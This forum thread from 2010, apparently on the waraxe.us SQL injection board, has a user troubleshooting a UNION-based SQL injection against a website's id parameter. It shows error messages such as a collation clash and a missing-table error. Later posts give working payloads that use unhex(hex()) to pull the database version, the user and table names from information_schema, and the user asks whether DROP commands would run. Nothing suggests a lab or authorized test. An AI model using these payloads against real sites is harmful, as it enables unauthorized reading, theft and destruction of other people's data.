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www.waraxe.us Forum Index -> Sql injection -> SQL Injection help-- not sure where to go...
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SQL Injection help-- not sure where to go...
PostPosted: Tue Aug 31, 2010 10:57 pm Reply with quote
ir0x
Beginner
Beginner
Joined: Sep 01, 2010
Posts: 2




Code:
http://site/page.php?id=null union all select 1,2,3,4,5,6,7--

Brings me the regular page

Code:
http://site/page.php?id=null union all select 1,2,@@version,4,5,6,7--

Gets me
Code:

Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation 'UNION

and trying to use hex(unhex() brings me the normal page as well.
I've also tried convert() as well. No luck. If i use
Code:

http://site/page.php?id=null union all select 1,2,3,4,5,6,7 from pages--

I get
Code:

Table 'db_name.pages' doesn't exist!

Now this gives me the dbname but other than that, am i prone now to guessing? And even if I use union all select to extract info from information schema with tables I know are there it just brings up regular page, if i use a table name non existing it will just throw back the doesnt exist error. So i guess i can use guessing to find it? And if so will commands still be executed such as drop etc?
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PostPosted: Wed Sep 01, 2010 1:14 am Reply with quote
niailuo
Beginner
Beginner
Joined: Aug 31, 2010
Posts: 2




Maybe you can use information_schema if the version of db>5?
well ,i'm so sorry i can't speak English very well As i'm a Chinese.
Hope you can add me ,and my ICQ:613592918.
we can study together.
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PostPosted: Wed Sep 01, 2010 5:33 pm Reply with quote
ir0x
Beginner
Beginner
Joined: Sep 01, 2010
Posts: 2




niailuo wrote:
Maybe you can use information_schema if the version of db>5?
well ,i'm so sorry i can't speak English very well As i'm a Chinese.
Hope you can add me ,and my ICQ:613592918.
we can study together.

I was attempting to find the version & user. I also tried using the schema otherwise with no out put, Turns out it was my bad for not nulling value. Thus i was getting normal page.

My bad i solved my issue. Turns out I wasn't nulling the value. So i needed to use
Code:

page.php?id=null union all select 1,2,concat(unhex(hex(@@version)),unhex(hex(user()))),4--

AND

null union all select 1,2,unhex(hex(table_name)),4 from information_schema.tables--

AND SO ON


and will add...
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SQL Injection help-- not sure where to go...
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